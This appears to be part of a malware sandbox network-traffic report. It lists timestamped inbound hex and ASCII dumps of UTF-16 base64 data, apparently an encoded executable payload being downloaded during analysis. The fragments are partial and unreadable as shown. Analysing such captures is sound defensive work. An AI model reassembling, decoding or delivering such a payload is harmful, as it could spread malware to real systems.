2021-11-09 21:22:01 UTC 1488 IN Data Raw: 00 46 00 76 00 65 00 6b 00 4e 00 33 00 53 00 56 00 64 00 6d 00 55 00 54 00 52 00 43 00 51 00 55 00 46 00 
52 00 51 00 30 00 4e 00 70 00 63 00 30 00 68 00 47 00 62 00 6b 00 31 00 4e 00 51 00 57 00 64 00 42 00 52 00 30 00 4e 
00 6e 00 57 00 58 00 46 00 49 00 5a 00 30 00 6c 00 76 00 52 00 57 00 64 00 4a 00 51 00 55 00 4a 00 70 00 62 00 33 00 
56 00 6a 00 65 00 46 00 56 00 44 00 51 00 55 00 46 00 68 00 51 00 55 00 56 00 52 00 52 00 55 00 46 00 43 00 51 00 32 
00 39 00 6c 00 51 00 57 00 6c 00 6f 00 61 00 55 00 46 00 42 00 51 00 55 00 74 00 4c 00 5a 00 32 00 39 00 59 00 53 00 
32 00 67 00 30 00 51 00 30 00 74 00 48 00 53 00 55 00 46 00 42 00 51 00 57 00 39 00 78 00 51 00 55 00 4a 00 4e 00 64 
00 30 00 46 00 6e 00 51 00 58 00 4a 00 42 00 51 00 55 00 46 00 42 00 56 00 
Data Ascii: FvekN3SVdmUTRCQUFRQ0Npc0hGbk1NQWdBR0NnWXFIZ0lvRWdJQUJpb3VjeFVDQUFhQUVRRUFCQ29l
QWloaUFBQUtLZ29YS2g0Q0tHSUFBQW9xQUJNd0FnQXJBQUFBV

2021-11-09 21:22:01 UTC 1492 IN Data Raw: 64 00 30 00 64 00 52 00 57 00 55 00 46 00 46 00 4d 00 45 00 4a 00 78 00 54 00 45 00 46 00 5a 00 51 00 57 
00 31 00 36 00 63 00 48 00 46 00 4d 00 51 00 56 00 6c 00 42 00 61 00 55 00 51 00 31 00 63 00 55 00 78 00 4a 00 63 00 
30 00 4a 00 54 00 56 00 45 00 6c 00 42 00 51 00 55 00 45 00 30 00 51 00 57 00 74 00 55 00 53 00 47 00 56 00 4c 00 64 
00 7a 00 52 00 42 00 56 00 55 00 51 00 33 00 5a 00 55 00 74 00 33 00 4e 00 45 00 46 00 4e 00 56 00 55 00 52 00 6c 00 
53 00 33 00 64 00 5a 00 51 00 58 00 4a 00 44 00 61 00 6c 00 52 00 52 00 51 00 56 00 6c 00 42 00 4c 00 30 00 4e 00 61 
00 63 00 55 00 78 00 42 00 57 00 55 00 46 00 6e 00 61 00 53 00 74 00 79 00 55 00 57 00 64 00 5a 00 51 00 55 00 35 00 
70 00 64 00 44 00 68 00 4f 00 55 00 56 00 6c 00 42 00 63 00 47 00 70 00 4f 
Data Ascii: d0dRWUFFMEJxTEFZQW16cHFMQVlBaUQ1cUxJc0JTVElBQUE0QWtUSGVLdzRBVUQ3ZUt3NEFNVURlS3
dZQXJDalRRQVlBL0NacUxBWUFnaStyUWdZQU5pdDhOUVlBcGpO

2021-11-09 21:22:01 UTC 1496 IN Data Raw: 00 44 00 52 00 55 00 45 00 72 00 64 00 30 00 4e 00 6f 00 51 00 55 00 46 00 42 00 51 00 56 00 4d 00 77 00 55 
00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6b 00 46 00 42 00 51 00 30 00 46 00 52 00 61 00 30 00 4a 00 46 00 
51 00 55 00 4e 00 77 00 53 00 46 00 46 00 42 00 51 00 56 00 64 00 52 00 52 00 57 00 74 00 42 00 51 00 6d 00 39 00 43 
00 51 00 31 00 46 00 46 00 55 00 55 00 46 00 4d 00 62 00 45 00 52 00 42 00 51 00 55 00 4a 00 61 00 51 00 56 00 4e 00 
5a 00 51 00 55 00 64 00 6e 00 52 00 55 00 70 00 42 00 55 00 6b 00 46 00 42 00 63 00 6d 00 74 00 4e 00 51 00 55 00 46 
00 47 00 61 00 30 00 4a 00 4c 00 55 00 55 00 46 00 68 00 51 00 56 00 46 00 46 00 51 00 55 00 56 00 42 00 51 00 6d 00 
31 00 46 00 55 00 55 00 46 00 42 00 53 00 31 00 46 00 42 00 63 00 55 00 
Data Ascii: DRUErd0NoQUFBQVMwUUFBQUFBSkFBQ0FRa0JFQUNwSFFBQVdRRWtBQm9CQ1FFUUFMbER
BQUJaQVNZQUdnRUpBUkFBcmtNQUFGa0JLUUFhQVFFQUVBQm1FUUFBS1FBcU

2021-11-09 21:22:01 UTC 1500 IN Data Raw: 57 00 78 00 52 00 56 00 55 00 46 00 42 00 52 00 6d 00 74 00 43 00 53 00 6b 00 46 00 46 00 62 00 45 00 46 
00 6f 00 54 00 55 00 4a 00 42 00 51 00 55 00 46 00 75 00 51 00 32 00 64 00 42 00 51 00 56 00 64 00 52 00 52 00 57 00 
74 00 42 00 55 00 31 00 56 00 44 00 52 00 58 00 64 00 46 00 51 00 55 00 46 00 49 00 63 00 30 00 35 00 42 00 51 00 55 
00 4a 00 61 00 51 00 56 00 4e 00 52 00 51 00 6b 00 70 00 52 00 53 00 56 00 52 00 42 00 55 00 55 00 46 00 42 00 63 00 
6e 00 63 00 34 00 51 00 55 00 46 00 47 00 61 00 30 00 4a 00 4b 00 51 00 55 00 56 00 73 00 51 00 57 00 68 00 4e 00 51 
00 6b 00 46 00 42 00 52 00 44 00 46 00 45 00 64 00 30 00 46 00 42 00 56 00 31 00 46 00 46 00 61 00 30 00 46 00 54 00 
56 00 55 00 4e 00 46 00 64 00 30 00 56 00 42 00 51 00 55 00 35 00 42 00 52 
Data Ascii: WxRVUFBRmtCSkFFbEFoTUJBQUFuQ2dBQVdRRWtBU1VDRXdFQUFIc05BQUJaQVNRQkpRS
VRBUUFBcnc4QUFGa0JKQUVsQWhNQkFBRDFEd0FBV1FFa0FTVUNFd0VBQU5BR

2021-11-09 21:22:01 UTC 1504 IN Data Raw: 00 4e 00 6d 00 52 00 46 00 56 00 45 00 31 00 43 00 5a 00 31 00 4a 00 44 00 61 00 55 00 56 00 55 00 54 00 
55 00 4a 00 36 00 51 00 53 00 74 00 75 00 52 00 56 00 52 00 4e 00 51 00 6d 00 4e 00 34 00 52 00 33 00 4e 00 46 00 56 
00 45 00 31 00 43 00 65 00 58 00 64 00 78 00 54 00 30 00 56 00 55 00 54 00 55 00 4a 00 33 00 61 00 46 00 4e 00 7a 00 
52 00 56 00 52 00 4e 00 51 00 6d 00 64 00 6e 00 55 00 30 00 56 00 46 00 56 00 45 00 31 00 43 00 61 00 33 00 64 00 35 
00 65 00 45 00 56 00 55 00 54 00 55 00 4a 00 76 00 51 00 6b 00 63 00 79 00 52 00 56 00 52 00 4e 00 51 00 6a 00 68 00 
52 00 53 00 7a 00 64 00 46 00 56 00 45 00 31 00 43 00 56 00 6d 00 64 00 45 00 51 00 55 00 56 00 55 00 54 00 55 00 4a 
00 49 00 64 00 32 00 70 00 47 00 52 00 56 00 52 00 4e 00 51 00 6e 00 4e 00 
Data Ascii: NmRFVE1CZ1JDaUVUTUJ6QStuRVRNQmN4R3NFVE1CeXdxT0VUTUJ3aFNzRVRNQmdnU0VF
VE1Ca3d5eEVUTUJvQkcyRVRNQjhRSzdFVE1CVmdEQUVUTUJId2pGRVRNQnN
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2021-11-09 21:22:01 UTC 1508 IN Data Raw: 64 00 42 00 55 00 46 00 55 00 76 00 4e 00 45 00 4a 00 4e 00 4d 00 6b 00 46 00 4d 00 51 00 54 00 56 00 42 
00 51 00 55 00 46 00 42 00 51 00 55 00 70 00 46 00 51 00 54 00 6c 00 55 00 4c 00 32 00 35 00 46 00 65 00 6d 00 64 00 
42 00 56 00 30 00 52 00 76 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6e 00 55 00 55 00 4a 00 6d 00 55 00 47 00 5a 
00 42 00 56 00 45 00 39 00 6e 00 51 00 54 00 68 00 50 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 51 00 6b 00 
46 00 4c 00 4d 00 47 00 34 00 76 00 65 00 45 00 30 00 76 00 51 00 55 00 68 00 33 00 4e 00 30 00 46 00 42 00 51 00 55 
00 46 00 42 00 53 00 55 00 56 00 42 00 4f 00 47 00 70 00 46 00 52 00 55 00 5a 00 46 00 51 00 55 00 46 00 35 00 52 00 
48 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 64 00 52 00 51 00 6c 
Data Ascii: dBUFUvNEJNMkFMQTVBQUFBQUpFQTlUL25FemdBV0RvQUFBQUFnUUJmUGZBVE9nQThPd0
FBQUFDQkFLMG4veE0vQUh3N0FBQUFBSUVBOGpFRUZFQUF5RHNBQUFBQWdRQl

2021-11-09 21:22:01 UTC 1512 IN Data Raw: 00 6c 00 6c 00 42 00 54 00 32 00 67 00 33 00 64 00 45 00 5a 00 4f 00 5a 00 30 00 46 00 44 00 62 00 47 00 64 
00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 78 00 6e 00 51 00 6c 00 5a 00 49 00 64 00 54 00 42 00 56 00 4d 00 6e 00 
64 00 42 00 59 00 31 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 58 00 51 00 56 00 42 00 4e 00 52 00 7a 
00 64 00 53 00 56 00 47 00 56 00 42 00 52 00 48 00 42 00 5a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4b 00 57 00 
55 00 46 00 47 00 65 00 6b 00 68 00 30 00 52 00 6b 00 39 00 46 00 51 00 56 00 52 00 47 00 5a 00 30 00 46 00 42 00 51 
00 55 00 46 00 42 00 62 00 47 00 64 00 43 00 4b 00 31 00 46 00 6c 00 4d 00 46 00 55 00 31 00 51 00 55 00 4a 00 6c 00 
56 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 31 00 64 00 42 00 
Data Ascii: llBT2g3dEZOZ0FDbGdBQUFBQWxnQlZIdTBVMndBY1dBQUFBQUNXQVBNRzdSVGVBRHBZQ
UFBQUFKWUFGekh0Rk9FQVRGZ0FBQUFBbGdCK1FlMFU1QUJlV0FBQUFBQ1dB

2021-11-09 21:22:01 UTC 1516 IN Data Raw: 42 00 62 00 47 00 64 00 42 00 52 00 46 00 46 00 54 00 4d 00 45 00 52 00 54 00 55 00 55 00 64 00 72 00 61 
00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 31 00 64 00 42 00 54 00 45 00 6c 00 70 00 51 00 6e 00 68 00 61 00 
53 00 30 00 46 00 69 00 64 00 55 00 5a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 70 00 5a 00 51 00 55 00 46 00 36 
00 5a 00 33 00 52 00 42 00 4d 00 48 00 4e 00 43 00 4d 00 45 00 6c 00 56 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 
73 00 5a 00 30 00 4e 00 69 00 55 00 45 00 45 00 30 00 56 00 31 00 52 00 42 00 52 00 55 00 46 00 6f 00 64 00 30 00 46 
00 42 00 51 00 55 00 46 00 44 00 56 00 30 00 46 00 4f 00 4d 00 48 00 46 00 47 00 61 00 46 00 70 00 50 00 51 00 56 00 
6c 00 50 00 53 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6c 00 6c 
Data Ascii: BbGdBRFFTMERTUUdraFFBQUFBQ1dBTElpQnhaS0FidUZBQUFBQUpZQUF6Z3RBMHNCMEl
VQUFBQUFsZ0NiUEE0V1RBRUFod0FBQUFDV0FOMHFGaFpPQVlPSEFBQUFBSll

2021-11-09 21:22:01 UTC 1520 IN Data Raw: 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 48 00 51 00 6c 00 46 00 42 00 52 00 6b 00 46 00 52 00 51 00 30 
00 5a 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4e 00 57 00 55 00 5a 00 5a 00 64 00 
32 00 56 00 6a 00 52 00 6d 00 39 00 56 00 51 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 65 
00 47 00 64 00 57 00 4e 00 30 00 4e 00 68 00 61 00 31 00 64 00 6f 00 5a 00 30 00 64 00 42 00 62 00 31 00 46 00 42 00 5
1 00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 52 00 57 00 4e 00 46 00 65 00 56 00 46 00 44 00 53 00 55 00 46 00 5a 
00 61 00 57 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 00 56 00 52 00 33 00 55 00 56 00 46 00 
42 00 53 00 57 00 64 00 43 00 61 00 32 00 46 00 46 00 51 00 55 00 46 00 
Data Ascii: QUFBQURHQlFBRkFRQ0ZBUUFBQUFBQUFNWUZZd2VjRm9VQkFBQUFBQUFBeGdWN0Nha1do
Z0dBb1FBQUFBQ0dDRWNFeVFDSUFZaWhBQUFBQUlZSVR3UVFBSWdCa2FFQUF

2021-11-09 21:22:01 UTC 1524 IN Data Raw: 31 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 00 56 00 4a 00 33 00 55 00 32 00 5a 00 47 00 
59 00 6b 00 56 00 43 00 52 00 6d 00 46 00 5a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6f 00 5a 00 32 00 68 00 51 
00 51 00 6b 00 74 00 6a 00 56 00 6e 00 4e 00 52 00 52 00 57 00 56 00 77 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 
44 00 52 00 30 00 4e 00 4f 00 53 00 55 00 64 00 75 00 65 00 46 00 64 00 35 00 51 00 56 00 4e 00 68 00 62 00 55 00 46 0
0 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6c 00 4a 00 4d 00 6d 00 64 00 68 00 62 00 6b 00 5a 00 69 00 53 00 55 00 
4a 00 4d 00 4e 00 6c 00 6c 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 6e 00 61 00 54 00 46 00 44 00 53 00 6a 
00 68 00 57 00 63 00 33 00 64 00 46 00 4d 00 33 00 42 00 6e 00 51 00 55 
Data Ascii: 1BQUFBQUlZSVJ3U2ZGYkVCRmFZQUFBQUFoZ2hQQktjVnNRRWVwZ0FBQUFDR0NOSUdueF
d5QVNhbUFBQUFBSVlJMmdhbkZiSUJMNllBQUFBQWhnaTFDSjhWc3dFM3BnQU

2021-11-09 21:22:01 UTC 1528 IN Data Raw: 00 32 00 74 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 6e 00 61 00 6c 00 4a 00 46 00 55 00 6b 00 46 
00 42 00 4d 00 6c 00 46 00 48 00 53 00 6e 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 30 00 
49 00 30 00 51 00 58 00 6c 00 52 00 52 00 47 00 46 00 42 00 57 00 6b 00 64 00 77 00 51 00 55 00 46 00 42 00 51 00 55 
00 46 00 4a 00 57 00 55 00 6c 00 4b 00 64 00 30 00 46 00 52 00 51 00 55 00 35 00 76 00 51 00 6d 00 31 00 78 00 61 00 
30 00 46 00 42 00 51 00 55 00 46 00 42 00 61 00 47 00 64 00 6e 00 59 00 55 00 45 00 34 00 61 00 30 00 45 00 79 00 64 
00 30 00 64 00 70 00 63 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 51 00 30 00 31 00 45 00 
52 00 55 00 46 00 45 00 59 00 6b 00 46 00 68 00 64 00 58 00 42 00 42 00 
Data Ascii: 2tBQUFBQWhnalJFUkFBMlFHSnFRQUFBQUNHQ0I0QXlRRGFBWkdwQUFBQUFJWUlKd0FRQ
U5vQm1xa0FBQUFBaGdnYUE4a0Eyd0dpcVFBQUFBQ0dDQ01ERUFEYkFhdXBB

2021-11-09 21:22:01 UTC 1532 IN Data Raw: 42 00 63 00 6c 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 52 00 42 00 53 00 55 00 46 00 43 00 65 00 
56 00 4a 00 6f 00 61 00 45 00 46 00 7a 00 54 00 33 00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 57 
00 57 00 64 00 71 00 55 00 55 00 4a 00 42 00 52 00 31 00 56 00 44 00 65 00 6b 00 73 00 77 00 51 00 55 00 46 00 42 00 
51 00 55 00 46 00 6e 00 64 00 30 00 4e 00 54 00 51 00 6e 00 52 00 6a 00 57 00 56 00 70 00 52 00 53 00 55 00 52 00 79 
00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 55 00 6b 00 64 00 4c 00 57 00 54 00 42 00 36 00 65 00 46 00 4a 00 
74 00 51 00 57 00 63 00 72 00 64 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6c 00 5a 00 5a 00 32 00 70 
00 52 00 51 00 6b 00 46 00 48 00 57 00 55 00 4e 00 47 00 4e 00 6a 00 52 
Data Ascii: BclFBQUFBQ0RBSUFCeVJoaEFzT3RBQUFBQUlZWWdqUUJBR1VDekswQUFBQUFnd0NTQnR
jWVpRSURyZ0FBQUFDUkdLWTB6eFJtQWcrdUFBQUFBSVlZZ2pRQkFHWUNGNjR

2021-11-09 21:22:01 UTC 1536 IN Data Raw: 00 46 00 4e 00 51 00 55 00 6c 00 36 00 4e 00 45 00 46 00 42 00 51 00 55 00 56 00 42 00 57 00 46 00 4d 00 34 
00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 76 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 4e 00 51 00 55 00 6c 00 
36 00 4e 00 45 00 46 00 42 00 51 00 55 00 56 00 42 00 57 00 46 00 4d 00 34 00 51 00 55 00 46 00 42 00 53 00 55 00 46 
00 76 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 4e 00 51 00 55 00 6c 00 36 00 4e 00 45 00 46 00 42 00 51 00 55 00 
56 00 42 00 57 00 46 00 4d 00 34 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 76 00 65 00 6d 00 64 00 42 00 51 00 55 
00 46 00 4e 00 51 00 55 00 6c 00 36 00 4e 00 45 00 46 00 42 00 51 00 55 00 56 00 42 00 57 00 46 00 4d 00 34 00 51 00 
55 00 46 00 42 00 53 00 55 00 46 00 76 00 65 00 6d 00 64 00 42 00 51 00 
Data Ascii: FNQUl6NEFBQUVBWFM4QUFBSUFvemdBQUFNQUl6NEFBQUVBWFM4QUFBSUFvemdBQUFNQU
l6NEFBQUVBWFM4QUFBSUFvemdBQUFNQUl6NEFBQUVBWFM4QUFBSUFvemdBQ

2021-11-09 21:22:01 UTC 1541 IN Data Raw: 51 00 56 00 4a 00 35 00 59 00 30 00 46 00 42 00 51 00 55 00 56 00 42 00 55 00 6e 00 6c 00 6a 00 51 00 55 00 
46 00 42 00 52 00 55 00 46 00 53 00 65 00 57 00 4e 00 42 00 51 00 55 00 46 00 46 00 51 00 56 00 56 00 44 00 61 00 30 
00 46 00 42 00 51 00 55 00 6c 00 42 00 61 00 48 00 6c 00 72 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 53 00 65 00 
57 00 4e 00 42 00 51 00 55 00 46 00 46 00 51 00 56 00 4a 00 35 00 59 00 30 00 46 00 42 00 51 00 55 00 56 00 42 00 55 
00 6e 00 6c 00 6a 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 6c 00 65 00 6b 00 31 00 42 00 51 00 55 00 46 00 46 00 
51 00 57 00 56 00 36 00 54 00 55 00 46 00 42 00 51 00 55 00 56 00 42 00 4e 00 56 00 56 00 46 00 51 00 55 00 46 00 42 
00 52 00 55 00 46 00 4c 00 56 00 48 00 4e 00 42 00 51 00 55 00 46 00 46 
Data Ascii: QVJ5Y0FBQUVBUnljQUFBRUFSeWNBQUFFQVVDa0FBQUlBaHlrQUFBRUFSeWNBQUFFQVJ5
Y0FBQUVBUnljQUFBRUFlek1BQUFFQWV6TUFBQUVBNVVFQUFBRUFLVHNBQUFF

Timestamp
kBytes
transferred Direction Data
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2021-11-09 21:22:01 UTC 1545 IN Data Raw: 00 36 00 4d 00 45 00 46 00 42 00 51 00 57 00 4e 00 42 00 63 00 57 00 74 00 42 00 51 00 55 00 46 00 42 00 
5a 00 30 00 46 00 76 00 61 00 30 00 46 00 42 00 51 00 55 00 46 00 72 00 51 00 57 00 70 00 55 00 5a 00 30 00 46 00 42 
00 51 00 57 00 39 00 42 00 65 00 56 00 4e 00 76 00 51 00 55 00 46 00 42 00 63 00 30 00 46 00 53 00 65 00 6a 00 42 00 
44 00 51 00 55 00 46 00 46 00 51 00 55 00 35 00 46 00 53 00 55 00 46 00 42 00 51 00 55 00 6c 00 42 00 53 00 58 00 6f 
00 30 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 53 00 65 00 6a 00 42 00 42 00 51 00 55 00 46 00 4a 00 51 00 55 00 
52 00 6f 00 4e 00 45 00 46 00 42 00 51 00 55 00 56 00 42 00 54 00 6c 00 56 00 4a 00 51 00 55 00 46 00 42 00 52 00 55 
00 46 00 4f 00 56 00 55 00 6c 00 42 00 51 00 55 00 46 00 4a 00 51 00 58 00 
Data Ascii: 6MEFBQWNBcWtBQUFBZ0Fva0FBQUFrQWpUZ0FBQW9BeVNvQUFBc0FSejBDQUFFQU5FSUF
BQUlBSXo0QUFBRUFSejBBQUFJQURoNEFBQUVBTlVJQUFBRUFOVUlBQUFJQX

2021-11-09 21:22:01 UTC 1549 IN Data Raw: 45 00 4a 00 42 00 63 00 6c 00 6c 00 77 00 5a 00 32 00 64 00 52 00 51 00 6b 00 46 00 35 00 4d 00 48 00 68 00 
71 00 51 00 56 00 51 00 31 00 51 00 55 00 35 00 42 00 5a 00 47 00 74 00 52 00 55 00 6c 00 4a 00 42 00 51 00 56 00 46 
00 77 00 65 00 56 00 46 00 44 00 65 00 45 00 45 00 30 00 53 00 54 00 42 00 46 00 51 00 55 00 4d 00 31 00 51 00 54 00 
46 00 4b 00 52 00 57 00 39 00 6e 00 56 00 45 00 70 00 42 00 4e 00 45 00 6b 00 77 00 63 00 56 00 46 00 55 00 56 00 55 
00 46 00 4a 00 53 00 54 00 42 00 33 00 51 00 56 00 52 00 61 00 51 00 54 00 42 00 72 00 4e 00 58 00 6c 00 6e 00 56 00 
47 00 68 00 42 00 4b 00 32 00 39 00 71 00 4d 00 45 00 46 00 55 00 63 00 45 00 45 00 78 00 54 00 58 00 51 00 78 00 5a 
00 31 00 52 00 34 00 51 00 54 00 49 00 30 00 5a 00 6a 00 4e 00 42 00 56 
Data Ascii: EJBcllwZ2dRQkF5MHhqQVQ1QU5BZGtRUlJBQVFweVFDeEE0STBFQUM1QTFKRW9nVEpBNEkwcVFUVUF
JSTB3QVRaQTBrNXlnVGhBK29qMEFUcEExTXQxZ1R4QTI0ZjNBV

2021-11-09 21:22:01 UTC 1552 IN Data Raw: 00 53 00 57 00 6c 00 33 00 55 00 58 00 46 00 72 00 51 00 56 00 6c 00 4a 00 4d 00 47 00 52 00 42 00 51 00 7a 
00 56 00 42 00 61 00 30 00 46 00 71 00 4e 00 30 00 46 00 78 00 63 00 30 00 46 00 5a 00 53 00 54 00 42 00 6b 00 51 00 
55 00 4d 00 31 00 51 00 58 00 5a 00 4f 00 51 00 30 00 64 00 33 00 64 00 54 00 42 00 42 00 57 00 55 00 6b 00 77 00 5a 
00 45 00 46 00 44 00 4e 00 55 00 46 00 31 00 4f 00 55 00 4e 00 55 00 51 00 58 00 56 00 6a 00 51 00 56 00 6c 00 4a 00 4
d 00 47 00 52 00 42 00 52 00 32 00 4e 00 42 00 55 00 6d 00 4e 00 75 00 52 00 33 00 64 00 44 00 59 00 30 00 46 00 6c 
00 51 00 54 00 6c 00 4b 00 64 00 30 00 4a 00 53 00 51 00 55 00 46 00 7a 00 61 00 6d 00 4e 00 42 00 63 00 31 00 4a 00 
42 00 63 00 55 00 55 00 79 00 5a 00 47 00 64 00 32 00 51 00 6b 00 46 00 
Data Ascii: SWl3UXFrQVlJMGRBQzVBa0FqN0Fxc0FZSTBkQUM1QXZOQ0d3dTBBWUkwZEFDNUF1OUNU
QXVjQVlJMGRBR2NBUmNuR3dDY0FlQTlKd0JSQUFzamNBc1JBcUUyZGd2QkF

2021-11-09 21:22:01 UTC 1568 IN Data Raw: 00 59 00 31 00 70 00 42 00 51 00 55 00 52 00 73 00 52 00 45 00 59 00 30 00 57 00 6b 00 46 00 42 00 51 00 
6b 00 68 00 45 00 61 00 55 00 31 00 61 00 51 00 55 00 46 00 43 00 53 00 45 00 52 00 35 00 54 00 56 00 70 00 42 00 51 
00 55 00 4a 00 55 00 51 00 6b 00 4e 00 4e 00 57 00 6b 00 46 00 42 00 52 00 47 00 56 00 43 00 61 00 45 00 31 00 61 00 
51 00 55 00 46 00 45 00 51 00 6b 00 4e 00 43 00 54 00 56 00 70 00 42 00 51 00 55 00 4a 00 4a 00 51 00 33 00 6c 00 4e 
00 57 00 6b 00 46 00 42 00 51 00 6c 00 52 00 43 00 51 00 30 00 31 00 61 00 51 00 55 00 46 00 45 00 5a 00 55 00 4a 00 
70 00 54 00 56 00 70 00 42 00 51 00 55 00 52 00 43 00 51 00 30 00 4e 00 4e 00 57 00 6b 00 46 00 42 00 51 00 6c 00 52 
00 43 00 51 00 32 00 4e 00 61 00 51 00 55 00 46 00 45 00 5a 00 55 00 4a 00 
Data Ascii: Y1pBQURsREY0WkFBQkhEaU1aQUFCSER5TVpBQUJUQkNNWkFBRGVCaE1aQUFEQkNCTVpB
QUJJQ3lNWkFBQlRCQ01aQUFEZUJpTVpBQURCQ0NNWkFBQlRCQ2NaQUFEZUJ

2021-11-09 21:22:01 UTC 1584 IN Data Raw: 00 52 00 6a 00 42 00 68 00 56 00 30 00 35 00 43 00 59 00 32 00 35 00 4b 00 61 00 47 00 56 00 56 00 62 00 
48 00 56 00 68 00 57 00 46 00 4a 00 56 00 5a 00 56 00 68 00 43 00 62 00 46 00 55 00 79 00 62 00 44 00 5a 00 61 00 56 
00 44 00 42 00 35 00 54 00 30 00 52 00 4a 00 51 00 56 00 4a 00 45 00 57 00 54 00 4e 00 4e 00 65 00 6b 00 31 00 36 00 
54 00 55 00 52 00 52 00 65 00 56 00 46 00 72 00 57 00 6b 00 64 00 52 00 65 00 6b 00 6c 00 33 00 54 00 56 00 52 00 46 
00 4d 00 6c 00 46 00 72 00 57 00 58 00 64 00 4e 00 56 00 55 00 70 00 45 00 54 00 6c 00 52 00 56 00 4d 00 6b 00 35 00 
55 00 57 00 54 00 4a 00 53 00 56 00 55 00 30 00 7a 00 54 00 6d 00 74 00 4e 00 4d 00 6c 00 4a 00 71 00 5a 00 45 00 5a 
00 4e 00 5a 00 30 00 4a 00 47 00 55 00 57 00 70 00 6b 00 52 00 6c 00 4a 00 
Data Ascii: RjBhV05CY25KaGVVbHVhWFJVZVhCbFUybDZaVDB5T0RJQVJEWTNNek16TURReVFrWkdRekl3TVRFMl
FrWXdNVUpETlRVMk5UWTJSVU0zTmtNMlJqZEZNZ0JGUWpkRlJ

2021-11-09 21:22:01 UTC 1600 IN Data Raw: 00 56 00 58 00 6c 00 4e 00 56 00 45 00 56 00 36 00 54 00 6b 00 56 00 52 00 64 00 31 00 46 00 71 00 51 00 54 
00 56 00 4e 00 56 00 47 00 73 00 30 00 54 00 6c 00 52 00 4e 00 65 00 6b 00 35 00 72 00 54 00 6b 00 52 00 4e 00 65 00 
6d 00 52 00 48 00 51 00 55 00 56 00 46 00 4e 00 56 00 46 00 72 00 53 00 6b 00 56 00 4f 00 4d 00 46 00 5a 00 46 00 55 
00 6b 00 52 00 4a 00 65 00 45 00 39 00 56 00 55 00 6b 00 5a 00 4e 00 52 00 45 00 6c 00 36 00 54 00 6e 00 70 00 56 00 
65 00 45 00 31 00 45 00 61 00 7a 00 4a 00 52 00 61 00 6d 00 74 00 36 00 54 00 30 00 52 00 43 00 52 00 6b 00 39 00 46 
00 52 00 54 00 42 00 52 00 65 00 6b 00 5a 00 47 00 55 00 6d 00 70 00 6a 00 4e 00 55 00 34 00 77 00 57 00 55 00 46 00 
4f 00 56 00 45 00 46 00 34 00 55 00 57 00 74 00 47 00 52 00 56 00 4a 00 
Data Ascii: VXlNVEV6TkVRd1FqQTVNVGs0TlRNek5rTkRNemRHQUVFNVFrSkVOMFZFUkRJeE9VUkZNREl6TnpVeE
1EazJRamt6T0RCRk9FRTBRekZGUmpjNU4wWUFOVEF4UWtGRVJ

2021-11-09 21:22:01 UTC 1616 IN Data Raw: 00 56 00 6e 00 56 00 61 00 4d 00 31 00 4a 00 76 00 51 00 55 00 68 00 4f 00 62 00 47 00 52 00 47 00 4f 00 55 
00 35 00 5a 00 57 00 47 00 68 00 43 00 59 00 32 00 35 00 4b 00 61 00 47 00 56 00 56 00 65 00 47 00 78 00 69 00 62 00 
57 00 51 00 77 00 59 00 55 00 46 00 43 00 56 00 47 00 52 00 48 00 52 00 6e 00 6c 00 6b 00 53 00 45 00 35 00 59 00 59 
00 56 00 68 00 53 00 62 00 30 00 46 00 49 00 54 00 6d 00 78 00 6b 00 52 00 6a 00 6c 00 4f 00 57 00 56 00 68 00 6f 00 5
2 00 56 00 70 00 59 00 51 00 6a 00 42 00 68 00 51 00 55 00 4a 00 57 00 59 00 32 00 31 00 72 00 51 00 57 00 52 00 59 
00 53 00 6e 00 42 00 42 00 52 00 55 00 5a 00 36 00 5a 00 56 00 63 00 31 00 61 00 6c 00 45 00 79 00 52 00 6e 00 4e 00 
69 00 52 00 30 00 70 00 6f 00 57 00 54 00 4a 00 7a 00 51 00 56 00 56 00 
Data Ascii: VnVaM1JvQUhObGRGOU5ZWGhCY25KaGVVeGxibWQwYUFCVGRHRnlkSE5YYVhSb0FITmxk
RjlOWVhoRVpYQjBhQUJWY21rQWRYSnBBRUZ6ZVc1alEyRnNiR0poWTJzQVV

2021-11-09 21:22:01 UTC 1632 IN Data Raw: 00 51 00 6b 00 70 00 56 00 52 00 55 00 5a 00 72 00 57 00 6b 00 68 00 4b 00 62 00 47 00 4d 00 7a 00 54 00 
